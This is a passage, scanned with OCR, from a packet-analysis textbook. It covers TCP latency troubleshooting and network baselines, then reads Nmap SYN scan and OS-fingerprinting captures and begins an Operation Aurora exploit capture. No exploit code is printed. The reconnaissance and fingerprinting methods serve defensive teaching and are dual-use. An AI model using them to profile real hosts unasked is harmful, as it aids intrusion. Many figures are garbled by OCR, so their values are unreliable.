this file that we see a packet exhibiting signs of high latency. 

This sixth packet is the first HTTP data packet sent from the server in 
response to the GET request sent by the client, but with a rather slow arrival 
time of 0.98 seconds after the server sends its TCP ACK for the GET request. 
The transition between packets 5 and 6 is very similar to the transition we saw 
in the previous scenario between the handshake ACK and GET request. How- 
ever, in this case, the server is the focus of our concern. 

Packet 5 is the ACK that the server sends in response to the GET request 
it received from the client. As soon as that packet has been sent, the server 
should begin sending data almost immediately. The accessing, packaging, and 
transmitting of the data in this packet is done by the HTTP protocol, and 
because this is an application layer protocol, a bit of processing is required 
by the server. The delay in receipt of this packet indicates that the server was 
unable to process this data in a reasonable amount of time, ultimately pointing 
to it as the source of latency in this capture file. 


latency Locating Framework 


Using six packets, we've managed to locate the source of high network latency 
from the client and the server. These scenarios may seem a bit complex, but 
the diagram shown in Figure 9-26 should make the process a bit quicker when 
troubleshooting your own latency issues. These principles can be applied to 

almost any TCP-based communication. 


Notice that we have not talked a lot about UDP latency. Because UDP is designed to be 
quick but unreliable, it doesn't have any built-in features to detect and recover from 
latency. Instead, it relies on the application layer protocols (and ICMP) that its paired 
with to handle data delivery reliability. 


Client SYN Server 
A SYN/ACK 
Die Cu —n. d 


B] Layer 7 Protocol Request ———————3À»9 
«4 ——————————— ACK 
<A Layer? Protocol Data 


m Wire Latency 
[] Client Latency 
Server Latency 


Figure 9-26: This diagram can be used to troubleshoot your own latency issues. 


Network Baselining 


When all else fails, your network baseline can be one of the most crucial pieces 
of data you have when troubleshooting slowness on the network. For our 
purposes, a network baseline consists of a sample of traffic from various 
points on the network that includes a large chunk of what we would consider 
“normal” network traffic. The goal of the network baseline is to serve as a basis 
of comparison when the network or devices on it are not acting correctly. 

For example, consider a scenario in which several clients on the network 
complain of slowness when logging in to a local web application server. If you 
were to capture this traffic and compare it to a network baseline, you might 
find that the web server is responding normally but that the external DNS 
requests resulting from external content embedded into the web application 
are running twice as slowly as normal. 

You might have noticed the slow external DNS server without the aid of 
a network baseline, but when you are dealing with subtle changes, that may 
not be the case. Ten DNS queries taking 0.1 seconds longer than normal to 
process is just as bad as one DNS query taking 1 full second longer than nor- 
mal, but the former is much harder to detect without a network baseline. 
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Because no two networks are alike, the components of a network base- 
line can vary drastically. The following sections provide examples of the 
components of a network baseline. You may find that all of these items apply 
to your network infrastructure or that very few of them do. Regardless, you 
should be able to place each component of your baseline inside one of three 
basic baseline categories: site, host, and application. 


Site Baseline 


The purpose of the site baseline is to gain an overall snapshot of the traffic at 
each physical site on your network. Ideally, this would be every segment of 
the WAN. 

Components of this baseline might include the following: 


Protocols in use 
Use the Protocol Hierarchy Statistics window (Statistics > Protocol 
Hierarchy) while capturing traffic from all of the devices on the network 
segment at the network edge (router/firewall), so that you can see traffic 
from all devices. Later, you can compare against this to find out if nor- 
mally present protocols are missing or if new protocols have introduced 
themselves on the network. You can also use this to find above ordinary 
amounts of certain types of traffic based on protocol. 


Broadcast traffic 
This includes all broadcast traffic on the network segment. Sniffing at 
any point within the site should let you capture all of the broadcast traffic, 
allowing you to know who or what normally sends a lot of broadcast traffic 
out on the network, so you can quickly determine whether you have too 
much (or not enough) broadcasting going on. 


Authentication sequences 
These include traffic from authentication processes on random clients to 
all services, such as Active Directory, web applications, and organization- 
specific software. Authentication is one area where services are commonly 
slow. The baseline allows you to determine if authentication is to blame 
for slow communications. 


Data-transfer rate 
This usually consists of a measure of a large data transfer from the site to 
various other sites in the network. You can use the capture summary and 
graphing features of Wireshark to determine the transfer rate and con- 
sistency of the connection. This is probably the most important site 
baseline you can have. Whenever any connection entering or leaving the 
network segment seems slow, you can perform the same data transfer as 
in your baseline and compare the results. This will tell you if the connection 
is actually slow and possibly even help you find the area in which the 
slowness begins. 


Host Baseline 


Having a host baseline doesn't mean that you must baseline every single host 

within your network. The host baseline should be performed on only high- 

traffic or mission-critical servers. Basically, if a slow server will result in angry 

phone calls from management, you should have a baseline of that host. 
Components of the host baseline include the following: 


Protocols in use 
This baseline provides a good opportunity to use the Protocol Hierarchy 
Statistics window while capturing traffic from the host. Later, you can 
compare against this to find out if normally present protocols are miss- 
ing or if new protocols have introduced themselves on the host. You can 
also use this to find above ordinary amounts of certain types of traffic 
based on protocol. 


Idle/busy traffic 
This baseline simply consists of general captures of normal operating 
traffic during peak and off-peak times. Knowing the number of connec- 
tions and amount of bandwidth used by those connections at different 
points of the day will allow you to determine if slowness is a result of user 
load or another issue. 


Startup /shutdown 
In order to obtain this baseline, you will need to create a capture of the 
traffic generated during the startup and shutdown sequences of the host. 
If the computer refuses to boot, refuses to shut down, or is abnormally 
slow during either sequence, you can use this to determine if the cause is 
network-related. 


Authentication sequences 
This baseline requires capturing traffic from authentication processes 
to all services on the host. Authentication is one area where services are 
commonly slow. The baseline allows you to determine if authentication 
is to blame for slow communications. 


Associations/ dependencies 
This baseline consists of a longer duration capture to determine what 
other hosts this host is dependent upon (and are dependent upon this 
host). You can use the Conversations window (Statistics ^» Conversations) 
to see these associations and dependencies. An example of this is a 
SOL Server host on which a web server depends. We are not always 
aware of the underlying dependencies between hosts, so the host 
baseline can be used to determine these. From there, you can deter- 
mine if a host is not functioning properly due to a malfunctioning or 
high-latency dependency. 
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Application Baseline 


The final network baseline category is the application baseline. This baseline 
should be performed on all business-critical network-based applications. 
The following are the components on the application baseline: 


Protocols in use 
Again, for this baseline, use the Protocol Hierarchy Statistics window in 
Wireshark, this time while capturing traffic from the host running the 
application. Later, you can compare against this list to find out if proto- 


cols that the application depends on are functioning incorrectly or not 
at all. 


Startup /shutdown 
This baseline includes a capture of the traffic generated during the startup 
and shutdown sequences of the application. If the application refuses to 
start or is abnormally slow during either sequence, you can use this to 
determine the cause. 


Associations/ dependencies 
This baseline requires a longer duration capture in which the Conversa- 
tions window can be used to determine the other hosts and applications 
on which this application depends. We are not always aware of the under- 
lying dependencies between applications, so this baseline can be used to 
determine those. From there, you can determine if an application is not 
functioning properly due to a malfunctioning or high-latency dependency. 


Data-transfer rate 
You can use the capture summary and graphing features of Wireshark to 
determine the transfer rate and consistency of the connections to the 
application server during its normal operation to create this baseline. 
Whenever the application is reported as being slow, you can use this 
baseline to determine if the issues being experienced are a result of high 
utilization or a high user load. 


Additional Notes on Baselines 


Here are a few more points to keep in mind when creating your network 
baseline: 


e When creating your baselines, do each one at least three times: once 
during a low-traffic time (early morning), once during a high-traffic time 
(mid-afternoon), and once during a no traffic time (late night). 


e When possible, avoid capturing directly from the hosts you are baselining. 
During periods of high traffic, this may put an increased load on the 
device, hurt its performance, and cause your baseline to be invalid due 
to dropped packets. 


e Your baseline will contain some very intimate information about your 
network, so be sure to secure it. Store it in a safe place where only the 
appropriate individuals have access. But at the same time, keep it close 
so that it remains functional for you. Consider keeping it on a USB flash 
drive or on an encrypted partition. 


e Keep all .pcap files associated with your baseline and create a “cheat sheet" 
of the more commonly referenced values, such as associations or average 
data-transfer rates. 


Final Thoughts 


This chapter has focused on troubleshooting slow networks. We’ve covered 
some of the more useful reliability detection and recovery features of TCP, 
demonstrated how to locate the source of high latency in network commu- 
nications, and discussed the importance of a network baseline and some of 
its components. Using the techniques discussed here, along with some of 
Wireshark’s graphing and analysis features (as discussed in Chapter 5), you 
should be well equipped to troubleshoot when you get that call complaining 
that the network is slow. 
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PACKET ANALYSIS 
FOR SECURITY 


Although most of this book focuses on using 

J packet analysis for network troubleshooting, 
a considerable amount of real-world packet 
analysis is done for security purposes. This 
could be the job of an intrusion analyst reviewing net- 


work traffic from potential intruders, or of a forensic 
investigator attempting to ascertain the extent of a malware infection on a com- 
promised host. Packet analysis for security is a big topic, suitable for an entire 
book. This chapter provides a taste of analyzing packets with a security focus. 

In this chapter, we'll take the viewpoint of a security practitioner, as 
we examine different aspects of a system compromise at the network level. 
We'll cover network reconnaissance, malicious traffic redirection, and system 
exploitation. Next, we'll take on the role of an intrusion analyst, as we dissect 
traffic based on alerts from an intrusion-detection system (IDS). Reading this 
chapter will provide you with critical insight into network security, even if 
you are not in a security-focused role. 


Reconnaissance 


NOTE 


synscan.pcap 
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The first step that an attacker takes is to perform in-depth research on the 
target system. This step, commonly referred to as footprinting, is often accom- 
plished using various publicly available resources, such as the target company's 
website or Google. Once this research is completed, the attacker will typically 
begin scanning the IP address (or DNS name) of its target for open ports or 
running services. 

This scanning allows the attacker to determine whether the target is alive 
and reachable. For example, consider a scenario in which a bank robber is 
planning to steal from the largest bank in the city, located at 123 Main Street. 
He spends weeks planning an elaborate heist, only to find out upon arrival at 
the address that the bank has moved to 555 Vine Street. Worse yet, imagine a 
scenario in which the robber plans on walking into the bank during normal 
business hours, intending to steal from the vault, only to get to the bank and 
discover it is closed that day. Ensuring the target is alive and accessible is the 
first hurdle that must be crossed. 

Another important result of scanning is that it tells the attacker on which 
ports the target is listening. Returning to our bank robber analogy, consider 
what would happen if the robber showed up at the bank with absolutely no 
knowledge of the building's physical layout. He would have no idea of how to 
gain access to the building, because he wouldn't know the weak points in its 
physical security. 

In this section, we'll discuss a few of the more common scanning tech- 
niques used to identify hosts, their open ports, and vulnerabilities on a network. 


So fax, this book has referred to the sides of a connection as the transmitter and receiver 
or as the client and server. This chapter refers to each side of the communication as 
either the attacker or the victim. 


SYN Scan 


The type of scanning often done first against a system is a TCP SYN scan, also 
known as a stealth scan or a half-open scan. A SYN scan is the most common 
type for several reasons: 


e Itis very fast and reliable. 
e Itis accurate on all platforms, regardless of TCP stack implementation. 


e Itis less noisy than other scanning techniques. 


The TCP SYN scan relies on the three-way handshake process to deter- 
mine which ports are open on a target host. The attacker sends a TCP SYN 
packet to a range of ports on the victim, as if trying to establish a channel for 
normal communication on the ports. Once this packet is received by the victim, 
one of a few things may happen, as shown in Figure 10-1. 


_— SYN 
t — SYN/ACK- 


———SYN/ACK: 
ASYN / ACK 
Attacker Victim with Open Port 80 
rS Y Nai 
Lp <_< — isi ——————— 
Attacker Victim with Closed Port 80 
L— —N——— EJ 
Attacker Victim with Filtered Port 80 


Figure 10-1: Possible results of a TCP SYN scan 


Ifa service on the victim’s machine is listening on a port that receives the 
SYN packet, it will reply to the attacker with a TCP SYN/ACK packet, the 
second part of the TCP handshake. Then the attacker knows that port is open 
and a service is listening on it. Under normal circumstances, a final TCP ACK 
would be sent in order to complete the connection handshake, but in this 
case, the attacker doesn’t want that to happen, since he will not be communi- 
cating with the host further at this point. So, the attacker doesn’t attempt to 
complete the TCP handshake. 

If no service is listening on a scanned port, the attacker will not receive a 
SYN/ACK. Depending on the configuration of the victim’s operating system 
the attacker could receive an RST packet in return, indicating that the port is 
closed. Alternatively, the attacker may receive no response at all. That could 
mean that the port is filtered by an intermediate device, such as a firewall or 
the host itself. On the other hand, it could just be that the response was lost 
in transit. This result typically indicates that the port is closed, but it’s ulti- 
mately inconclusive. 

The file synscan.pcap provides a great example of a SYN scan performed 
with the NMAP tool. NMAP is a robust network-scanning application devel- 
oped by Fyodor. It can perform just about any kind of scan you can imagine. 
You can download NMAP for free from hitp://www.nmap.com/download. html. 

Our sample capture contains roughly 2,000 packets, which tells us that 
this scan is reasonably sized. One of the best ways to ascertain the scope of a 
scan of this nature is to view the Conversations window, as shown in Figure 10-2. 
There, you should see only one IPv4 conversation 0 between the attacker 

(172.16.0.8) and the victim (63.13.134.52). You will also see that there are 
1,994 TCP conversations between these two hosts O— basically a new conver- 
sation for every port pairing involved in the communications. 
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ll] Conversations: synscan.pcap SSS | 
LU e 
Ethernet: | Fibre Channel| roni [ ova [eve | iex | ra | ce | esvo [ scr fro: 1994 | Token Rino [ uv» | use | vua 
TCP Conversations 
Address A * PortA * Address B * PortB * Packets 4 Bytes 4 Packets A->B 4 Byt ^ 
172.16.0.8 36050 64.13.134.52 443 1 58 1 j 
17216.0.8 36050 — 641313452 143 1 58 1 
1721608 36050 — 641313452 3306 1 58 1 
17216.0.8 36050 64.13.134.52 199 1 58 1 
172.16.08 36050 6413134.52 111 1 58 1 
172.16.08 36050 6413134.52 1025 1 58 1 
17216.08 36050 — 641313452 995 1 58 1 
17216.08 36050 — 6413134.52 587 1 58 1 
17216.0.8 36050 641313452 53 5 298 1 
172.16.0.8 36050 6413134.52 5900 1 58 1 è 
TU c ES x = - 
[V] Name resolution [7] Limit to display filter 
(i mum 


Figure 10-2: The Conversations window shows the variety of TCP communi- 
cations taking place. 


The scanning is occurring very quickly, so scrolling through the capture file 
is not the best way to find the response associated with each initial SYN packet. 
Several more packets might be sent before a response to the original packet 
is received. Fortunately, we can create filters to help us find the right traffic. 


Using Filters with SYN Scans 


As an example of filtering, let’s consider the first packet, which is a SYN 
packet sent to the victim on port 443 (HTTPS). To see if there was a 
response to this packet, we can create a filter to show all traffic to and from 
port 443. Here’s how to do this quickly: 


Select the first packet in the capture file. 
2. Expand the TCP header in the Packet Details pane. 


3. Right-click the Destination Port field, select Prepare as Filter, and click 
Selected. 

4. This will place a filter in the filter dialog for all packets with the destina- 
tion port of 443. Now, because we also want all packets from the source 
port 443, click in the filter dialog at the top of the screen and erase the 
dst portion of the filter. 


The resulting filter will yield two packets, which are both TCP SYN pack- 
ets sent from attacker to victim, as shown in Figure 10-3. 


No. Time Source Destination Protocol Info 


32 0.000065 172.16.0.8 64.13.134.52 TCP 36051 > 443 [SYN] Seq-3713237785 win=2048 Len-0 MSS=1460 


Figure 10-3: Two attempts to establish a connection with SYN packets 


Since there is no response to either of these packets, it's possible that the 
response is being filtered by the victim host or an intermediary device, or 
that the port is closed. Ultimately, the result of the scan against port 443 is 
inconclusive. 
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We can attempt this same technique on another packet to see if we get 
different results. To do so, first clear the previously created filter by clicking 
the Clear button next to the filter area. Then select the ninth packet in the 
list. This is a SYN packet to port 53, commonly associated with DNS. Using 
the method outlined in the previous steps, create a filter based on the desti- 
nation port and erase the dst portion of the filter so that it applies to all TCP 
port 53 traffic. When you apply this filter, you should see five packets, as shown 
in Figure 10-4. 


No. Time Source Destination Protocol Info 
9 0.000052 172.16.0.8 64.13.134.52 TCP 36050 > 53 [SYN] Seq-3713172248 win-3072 Len-0 MSS-1460 


Figure 10-4: Five packets indicating a port is open 


The first of these packets is the SYN we selected at the beginning of 
the capture. The second is an actual response from the victim. It's a TCP 
SYN/ACK—the response expected when setting up the three-way hand- 
shake. Under normal circumstances, the next packet would be an ACK 
from the host that sent the initial SYN. However, in this case, our attacker 
doesn’t want to complete the connection and doesn’t send a response. As a 
result, the victim retransmits the SYN/ACK three more times before giving 
up. Since a SYN/ACK response is received when attempting to communi- 
cate with the host on port 53, it’s safe to assume that a service is listening on 
that port. 

Let’s rinse and repeat this process one more time for packet 13. This is 
a SYN packet sent to port 113, which is commonly associated with the Ident 
protocol, often used for IRC identification and authentication services. Ifyou 
apply the same type of filter to the port listed in this packet, you will see four 
packets, as shown in Figure 10-5. 


No. Time Source Destination Protocol Info 
130 64.13.134.52 TCP =1460 
4.52 6.0.8 


172.1€ 36 24622447 à 7 win=0 Len=0 


7 win-0 Len=0 


Figure 10-5: A SYN followed by a RST, indicating the port is closed 


The first packet is the initial SYN, which is followed immediately by a RST 
from the victim. This is an indication that the victim is not accepting connec- 
tions on the targeted port, and that a service is most likely not running on it. 


Identifying Open and Closed Ports 


After understanding the different types of response a SYN scan can elicit, the 
next logical thought is to find a fast method of identifying which ports are 
open or closed. The answer lies within the Conversations window once again. 
In this window, you can sort the TCP conversations by packet number, with 
the highest values at the top by clicking the Packets column twice, as shown 
in Figure 10-6. 
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li Conversations: synscan.pcap [Er 
Ethernet: 1 | Fibre Channel| roni pv: [16v [9x | ro [ cP [Rsvp] cre] TCP: 1994 | Token Rina] uve [use [wan] 
TCP Conversations 

Address A * PortA * Address B * PortB * Packets v Bytes 4 Packets A->B 4 Byt ^. 
1721608 36050 — 641313452 5 5 298 1 FF 
17216.08 36050 — 641313452 80 [1] 5 298 1 
17216.0.8 36050 6413134.52 22 5 298 1 
17216.0.8 36050 6413134.52 113 2 118 1 
172.16.0.8 36050 64.13.134.52 25 2 118 1 
17216.08 36050 — 641313452 31337 [2] 2 118 1 
17216.0.8 36061 6413134.52 113 2 118 1 
17216.0.8 36050 — 641313452 70 2 118 1 
172.16.08 36050 — 641313452 443 1 58 1 
172.16.08 36050  64.13.134.52 143 1 58 1 
172.16.0.8 36050 6413134.52 3306 1 58 1 
17216.0.8 36050 6413134.52 199 1 58 1 - 
«| m ] r 

V| Name resolution Limit to display filter 

Help Copy Close 


c 


Figure 10-6: Finding open ports with the Conversations window 


Three scanned ports include five packets in each of their conversations 6. 
We know that ports 53, 80, and 22 are open, because these five packets repre- 
sent the initial SYN, the corresponding SYN/ACK, and the retransmitted 
SYN/ACKs from the victim. 

For five ports, only two packets were involved in the communication 6. 
The first is the initial SYN, and the second is the RST from the victim. This 
indicates that ports 113, 25, 31337, 113, and 70 are closed. 

The remaining entries in the Conversations window include only one 
packet, meaning that the victim host never responded to the initial SYN. 
These remaining ports are most likely closed, but we're not sure. 


Operating System Fingerprinting 
An attacker puts a great deal of value on knowing his target's operating system. 
Knowledge of the operating system in use ensures that all of the attack methods 
employed by the attacker are configured correctly for that system. This also 
allows the attacker to know the location of certain critical files and directories 
within the target file system, should he actually succeed in accessing the system. 
Operating system fingerprinting is the name given to a group of techniques 
used to determine the operating system running on a system without actually 
having physical access to that system. There are two types of operating system 
fingerprinting: passive and active. 


Passive Fingerprinting 

Using passive fingerprinting, you examine certain fields within packets sent 
from the target in order to determine the operating system in use. The tech- 
nique is considered passive because you only listen to the packets the target 
host is sending and don’t actively send any packets to the host yourself. This 
is the most ideal type of operating system fingerprinting for attackers, because 
it allows them to be stealthy. 


That being said, how can we determine which operating system a host 
is running based on nothing but the packets it sends? Well, this is actually 
pretty easy and is made possible by the lack of specificity in the specifica- 
tions defined by protocol RFCs. Although the various fields contained in 
TCP, UDP, and IP headers are very specific, typically, no default values are 
defined for these fields. This means that the TCP/IP stack implementation 
in each operating system must define its own default values for these fields. 
Table 10-1 lists some of the more common fields and the default values that 
can be used to link them to various operating systems. 


Table 10-1: Common Passive Fingerprinting Values 


Protocol 
Header Field Default Value Operating System 
JP WiaTimetolive ——— 64 NMap, BSD, Mac OS 10, Linux - 
128 Novell, Windows 
255 Cisco lOS, Palm OS, Solaris 
IP Don't Fragment Flag Set BSD, Mac OS 10, Linux, Novell, 
Windows, Palm OS, Solaris 
Not set Nmap, Cisco IOS 
TCP Max Segment Size (0) Nmap 
1440 Windows, Novell 
1460 BSD, Mac OS 10, Linux, Solaris 
TCP Window Size 1024-4096 Nmap 
65535 BSD, Mac OS 10 
2920-5840 Linux 
16384 Novell 
4128 Cisco IOS 
24820 Solaris 
Variable Windows 
TCP SackOK Set Linux, Windows, OpenBSD 
Not set Nmap, FreeBSD, Mac OS 10, 


Novell, Cisco IOS, Solaris 


The packets contained in the file passtveosfingerprinting.pcap are great 
examples of this technique. There are two packets in this file. Both are TCP 
SYN packets sent to port 80, but they come from different hosts. Using only 
the values contained in these packets and referring to Table 10-1, we should 
be able to determine the operating system architecture in use on each host. 
The details of each packet are shown in Figure 10-7. 
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lil] 1 0.000000 172.16.16.134 168.143.162.100 TCP 1176 > 80 [SYN] Seq=2123482830 Win-64240 Len-0 MSS: 0 B | c EJ | Z 


= Frame 1: 62 bytes on wire (496 bits), 62 bytes captured (496 bits) 
@ Ethernet II, Src: 00:0c:29:f9:74:dB (00:0c:29:f9:74:d8), Dst: 00:05:5d:21:99:4c (00:05:5d:z 
S Internet Protocol, src: 172.16.16.134 (172.16.16.134), Dst: 168.143.162.100 (168.143.162.1¢ 
Version: 4 
Header length: 20 bytes 
@ Differentiated services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00) 
Total Length: 48 
Identification: Ox4d80 (19840) 
@ Flags: 0x02 (Don't Fragment) 
Fragment offset: 0 
Time to live: 128 
Protocol: TCP (6) 
& Header checksum: OxaSbd [validation disabled] 
Source: 172.16.16.134 (172.16.16.134) 
Destination: 168.143.162.100 (168.143.162.100) 
= Transmission Control Protocol, Src Port: 1176 (1176), Dst Port: 80 (80), Seq: 2123482830, L 
Source port: 1176 (1176) 
Destination port: 80 (80) 


ll 2 0.000108 172.16.16.134 168.143.162.100 TCP 1176 > 80 [SYN] Seq=2123482830 Win=2920 Len=0 MSS- (8 | c EJ | 3€ 


S; Frame 2: 62 bytes on wire (496 bits), 62 bytes captured (496 bits) 
& Ethernet II, Src: 00:0c:29:f9:74:d8 (00:0c:29:f9:74:d8), Dst: 00:05:5d:21:99:4c (00:05:5d:2 
5 Internet Protocol, Src: 172.16.16.134 (172.16.16.134), Dst: 168.143.162.100 (168. 143.162.1¢ 
Version: 4 
Header length: 20 bytes 
Œ Differentiated services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00) 
Total Length: 48 
Identification: Ox4d80 (19840) 
Œ Flags: 0x02 (Don't Fragment) 
Fragment offset: 0 
Time to live: 64 
Protocol: TCP (6) 
Header checksum: OxeSbd [validation disabled] 
Source: 172.16.16.134 (172.16.16.134) 
Destination: 168.143.162.100 (168.143.162.100) 
- Transmission Control Protocol, Src Port: 1176 (1176), Dst Port: 80 (80), Seq: 2123482830, L 
Source port: 1176 (1176) 
Destination port: 80 (80) 


[stream index: 0] 


Sequence number: 2123482830 
Header length: 28 bytes 


Flags: 0x02 (SYN) 


$ Checksum: 0x3670 [validation disabled] 


Options: (8 bytes) 


Maximum segment size: 1440 bytes 


NOP 
NOP 
SACK permitted 


[stream index: 0] 
Sequence number: 2123482830 
Header length: 28 bytes 
+ Flags: 0x02 (SYN) 
@ Checksum: Ox25e5 [validation disabled] 
B Options: (8 bytes) 
Maximum segment size: 1460 bytes 
NOP 
NOP 
SACK permitted 


4 m » Hist i , 
0000 00 05 5d 21 99 4c 00 Oc 29 f9 74 d8 08 00 TIENES ‘0000 c 29 f9 74 d8 O8 00 GENE 
ZONO 30 4d S0 40 00 80 06 as bd ac 10 10 86 a8 Bf| 0010 d 6 bd 0 10 86 F| 
0020 ERMI 04 98 00 50 7e 91 c6 ce 00 00 00 00 70 02 0020 8 00 50 7e 91 c6 ce 00 00 00 00 70 02 


a FO 36 70 00 00 02 04 05 a0 01 01 04 02 


Figure 10-7: These packets can tell us which operating system they were sent from. 


NOTE 


activeosfinger- 
printing.pcap 
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Using Table 10-1 as a reference, we can create Table 10-2, which is a 
breakdown of the relevant fields in these packets. 


Table 10-2: Breakdown of the Operating System Fingerprinting Packets 


Protocol 

Header Field Packet 1 Value Packet 2 Value 
IP Initial Time to Live 128 64 

IP Don't Fragment Flag Set Set 


Max Segment Size 
Window Size 
SackOK 


1440 Bytes 
64240 Bytes 
Set 


1460 Bytes 
2920 Bytes 
Set 


Based on these values, we can conclude that packet 1 was most likely sent 
by a device running Windows, and packet 2 was most likely sent by a device 
running Linux. 

Keep in mind that the list of common passive fingerprinting identifying 
fields in Table 10-1 is by no means exhaustive. There are many quirks that 
may result in deviations from these expected values. Therefore, you cannot 
fully rely on the results gained from passive operating system fingerprinting. 


One tool that uses operating system fingerprinting techniques is pOf. This tool ana- 
lyzes relevant fields in a packet capture and outputs the suspected operating system. 
Using tools like pOf, you can not only get the operating system architecture, but some- 
times even the appropriate version or patch level. You can download pOf from http:/ / 
Icamtuf.coredump.cx/pOf.shtml. 


Active Fingerprinting 

When passively monitoring traffic doesn't yield the desired results, a more 
direct approach may be required. This approach is called active fingerprinting. 
Itinvolves the attacker actively sending specially crafted packets to the victim in 


order to elicit replies that will reveal the operating system in use on the victim's 
machine. Of course, since this approach involves communicating directly 
with the victim, it is not the least bit stealthy, but it can be highly effective. 
The file activeosfingerprinting. pcap contains an example of an active oper- 
ating system fingerprinting scan initiated with the Nmap scanning utility. 
Several packets in this file are the result of Nmap sending different probes 
designed to elicit responses that will allow for operating system identifica- 
tion. Nmap records the responses to these probes and builds a fingerprint, 
which it compares to a database of values in order to make a determination. 


NOTE The techniques used by Nmap to actively fingerprint an operating system are quite com- 
plex. To learn more about how Nmap performs active operating system fingerprinting, 
read the definitive guide to Nmap, Nmap Network Scanning, by the tool’s author 
Gordon “Fyodor” Lyon. 

Exploitation 


aurora.pcap 


Every attacker lives for the exploitation phase. The attacker has done his 
research, performed reconnaissance on the target, and found a vulnerability 
that he is prepared to exploit in order to gain access to the target system. 
In the remainder of this chapter, we'll look at packet captures of various 
exploitation techniques, including an exploit for a semi-recent Microsoft 
vulnerability, traffic redirection via ARP cache poisoning, and a remote- 
access Trojan performing data exfiltration. 


Operation Aurora 


In January 2010, Operation Aurora exploited an as yet unknown vulnerabil- 
ity in Internet Explorer. This vulnerability allowed attackers to gain remote 
root-level control of targeted machines at Google, among other companies. 

In order to execute this malicious code, a user simply needed to visit a 
website using a vulnerable version of Internet Explorer. The attackers then 
had immediate access to the user's machine with administrative privileges. 
Spear phishing, in which the attackers send an email message to victims designed 
to get them to click a link leading to a malicious site, was used to lure the 
victims. Since spear phishing messages appear to come from trusted sources, 
they are often successful. 

In the case of Aurora, we pick up this story as soon as the targeted user 
clicks the link in the spear phishing email message. The resulting packets are 
contained in the file aurora.pcap. 

This capture begins with a three-way handshake between the victim 
(192.168.100.206) and the attacker (192.168.100.202). The initial connection 
is to port 80, which would lead us to believe this is HTTP traffic. That assump- 
tion is confirmed in the fourth packet, an HTTP GET request for /info @, as 
shown in Figure 10-8. 
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E 4 0.000465 192.168.100.206 192.168.100.202 HTTP GET /info HTTP/1.1 wie] =a 


@ Frame 4: 345 bytes on wire (2760 bits), 345 bytes captured (2760 bits) 
@ Ethernet II, Src: 00:0c:29:07:ae:27 (00:0c:29:07:ae:27), Dst: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee) 
Internet Protocol, Src: 192.168.100.206 (192.168.100.206), Dst: 192.168.100.202 (192.168.100.202) 
& Transmission Control Protocol, Src Port: 1031 (1031), Dst Port: 80 (80), Seq: 3982970894, Ack: 3036725423, Len: 291 
ga 

m GET /info HTTP/1.1\r\n 1 

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n 

| Accept-Language: en-us\r\n 
| Accept-Encoding: gzip, deflate\r\n 
| User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.1; Sv1)\r\n 
| Host: 192.168.100. 202\r\n 
l Connection: Keep-Alive\r\n 
| \r\n 


(0030 fa fO 9e d3 OMA? 45 54 20 2f 69 be 66 o...n. 
0040 CREE rie eee em) 41 63 63 65 70 74 Ccept Em 
0050 3a 20 69 6d 61 67 65 2 67 69 66 2c 20 69 6d 61 : Tmage/ gif, ima 


l|O060 67 65 2f 78 2d 78 62 69 74 6d 61 70 2c 20 69 6d ge/x-xbi tmap, im 
0070 61 67 65 2f Ga 70 65 67 2c 20 69 6d 61 67 65 2f  age/jpeg , image/ m 


ANCA 7n E> 7n EE &7 I- On 61 76 FA &- EN &2 &1 74 En ninnan EE 


B 


Figure 10-8: The victim makes a GET request for /info. 


The attacker's machine acknowledges receipt of the GET request and 
reports a response code of 302 (Moved Temporarily) in packet 6, the status 
code commonly used to redirect a browser to another page, which is the case 
here. Along with the 302 response code 6, a Location field specifies the loca- 
tion /info?rFIWELUjLJHpP 9, as shown in Figure 10-9. 


( ED 6 0.278842 192.168.100.202 192.168.100.206 HTTP HTTP/1.1 302 Moved POSS -] 5 x=) 


Frame 6: 191 bytes on wire (1528 bits), 191 bytes captured (1528 bits) 
@ Ethernet II, Src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:0c:29:07:ae:27 (00:0c:29:07:ae:27) 
Internet Protocol, Src: 192.168.100.202 (192.168.100.202), Dst: 192.168.100.206 (192.168.100.206) 
Transmission Control Protocol, Src Port: 80 (80), Dst Port: 1031 (1031), Seq: 3036725423, Ack: 3982971185, Len: 137 
B 
a 1 
Content-Type: text/html\r\n 
Location: /info?rFfWELUjLJHpP' rin 2 
Connection: Keep-Alive\r\n 
Server: Apache\r\n 
B Content-Length: 0\r\n 
\r\n 
(0060 6c Od Oa HSEUCENSUEEEECCEC a eee eT UM ocat ion: 
0070 QE 46 66 57 45 4c 55 6a 4c 4a 48 70 50 jro?rEfwe LUJLIHpP 
0080 MEIE 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 Connec tion: Ke 
0090 65 70 2d 41 6c 69 76 65 Od Oa 53 65 72 76 65 72 ep-Alive ..Server J 
00a0 3a 20 41 70 61 63 68 65 Od Oa 43 6f Ge 74 65 6e : Apache ..Conten = 
l^ 


(Men 7A 0d Ar EE En E7 74 EO 24 90 9n Ad NMa nd n^ t ranarh 


S 


Figure 10-9: The client browser is redirected with this packet. 


After receiving the HTTP 302 packet, the client initiates another GET 
request to the /info?rF/WELUjLJHpP URL in packet 7, for which an ACK is 
received in packet 8. Following the ACK, the next several packets represent 
data being transferred from the attacker to the victim. To take a closer look 
at that data, right-click one of the packets in the stream, such as packet 9, and 
select Follow TCP Stream. In this stream output, we see the initial GET request, 
the 302 redirection, and the second GET request, as shown in Figure 10-10. 

After this, things start getting really strange. The attacker responds to the 
GET request with some very odd-looking content, the first section of which is 
shown in Figure 10-11. 

This content appears to be a series of random numbers and letters 
inside a «script» tag €. The «script» tag is used within HTML to denote the 
use of a higher-level scripting language. Within this tag, you normally see var- 
ious scripting statements. But this gibberish indicates that the content may 
be encoded to hide it from detection. Since we know this is exploit traffic, we 
might assume that this obfuscated section of text contains the hexadecimal 
padding and shellcode used to actually exploit the vulnerable service. 


Stream Content 


GET /info HTTP/1.1 

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* 
Accept-Language: en-us 

Accept -Encoding: gzip, deflate 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.1; SV1) 

Host: 192.168.100.202 

Connection: Keep-Alive 


| HTTP/1.1 302 Moved 


Content-Type: text/html 
